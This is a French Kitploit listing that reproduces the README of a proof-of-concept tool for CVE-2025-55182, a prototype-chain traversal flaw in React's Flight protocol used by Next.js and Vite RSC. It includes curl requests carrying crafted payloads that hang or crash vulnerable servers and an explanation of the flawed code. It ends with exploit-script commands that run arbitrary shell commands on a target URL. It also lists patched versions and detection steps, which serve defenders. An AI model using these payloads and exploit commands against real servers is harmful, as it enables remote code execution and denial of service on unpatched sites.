Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-poc — Véritable détection et exploitation de la CVE-2025-55182. Pas de conneries d'LLMs. | Kitploit
Outils/GitHubGitHub/acheong08/cve-2025-55182-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubacheong08/cve-2025-55182-poc

CVE-2025-55182-poc

Véritable détection et exploitation de la CVE-2025-55182. Pas de conneries d'LLMs.

Voir le dépôt
1011il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182

Vulnérabilité du protocole React Flight permettant le parcours de la chaîne de prototypes via les références de chunks. Testé sur bullshit-react-project.

Détection

Ceci est légèrement obsolète car le véritable PoC a maintenant été révélé.

Vite RSC : bash ./vite-detect.sh https://example.com
Next.js : bash ./nextjs-detect.sh https://example.com

Ou pour faire les deux, faites simplement bash ./detect.sh https://example.com

Les deux scripts acceptent un paramètre de timeout optionnel (par défaut 3s pour Vite, 5s pour Next.js).

Comment fonctionne la détection Vite

Envoie l'en-tête x-rsc-action avec la charge utile $1:toString. Les serveurs vulnérables se bloquent indéfiniment ; les serveurs corrigés répondent normalement. Vérifie d'abord le point de terminaison RSC (attend une erreur HTTP 500 sur une action invalide).

Comment fonctionne la détection Next.js

Découvre les ID d'action serveur à partir de la réponse de la page (motif $ACTION_ID_<hash>), puis envoie :

root@kitploit:~
curl -X POST "http://localhost:3000" \
  -H "Next-Action: <action_id>" \
  -H "Accept: text/x-component" \
  -F '0=["$1:a:a"]' \
  -F '1={}'

Les serveurs vulnérables se bloquent ; les serveurs corrigés répondent rapidement.

Correction

Next.js : Mettez à jour vers 16.0.7, 15.5.7 ou 15.4.8
React (Vite RSC) : Mettez à jour vers 19.0.1+, 19.1.2+ ou 19.2.1+

Détails de la vulnérabilité

Le protocole Flight de React permet le parcours de la chaîne de prototypes via les références de chunks. La fonction getOutlinedModel itère à travers les chemins de référence sans vérifications hasOwnProperty :

root@kitploit:~
for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];

Cela permet à $1:constructor:constructor de parcourir {}.constructor.constructor → Function.

Test manuel (Vite RSC)

Point de terminaison : Tout chemin avec l'en-tête x-rsc-action
ID d'action : 710363d987f5#loginUser (ou toute action serveur valide)

PoC : Invoquer le constructeur Function

root@kitploit:~
curl -X POST "http://localhost:4173/xyz" \
  -H "x-rsc-action: 710363d987f5#loginUser" \
  -F '0={"then":"$1:constructor:constructor"}' \
  -F '1={"a":"b"}'

Vulnérable : Internal Server Error
Corrigé : Réponse normale

Notez que vous obtiendrez une erreur 500 sur un serveur corrigé si vos ID x-rsc-action sont incorrects. C'est juste que les journaux du serveur seront différents.

Journaux serveur (vulnérable, toujours)

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

Le constructeur Function a été invoqué via .then() lorsque l'objet était awaité. V8 passe les fonctions resolve/reject comme arguments, qui se sérialisent en function () { [native code] } - d'où l'erreur de syntaxe.

Journaux serveur (corrigé, x-rsc-action invalide)

root@kitploit:~
Error: server reference not found '310363d987f5'
    at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
    at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
    at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
    at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
    at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

Aucun journal serveur n'apparaît avec un x-rsc-action valide. Vous pouvez trouver le x-rsc-action correct en exécutant une véritable action serveur et en capturant la requête dans les outils de développement.

Notes

La charge utile $1:toString bloque les serveurs vulnérables indéfiniment - c'est ce que les scripts de détection utilisent. J'ai essayé presque tout mais je n'arrive pas à obtenir une exécution de code à distance (RCE).

Exploitation

Pour Vite Rsc :

root@kitploit:~
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Pour NextJS :

root@kitploit:~
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Crédits à maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

J'ai simplement fait quelques adaptations et l'ai adapté pour Vite qui est en ESM pur et n'a donc pas de require.

Télécharger l’outil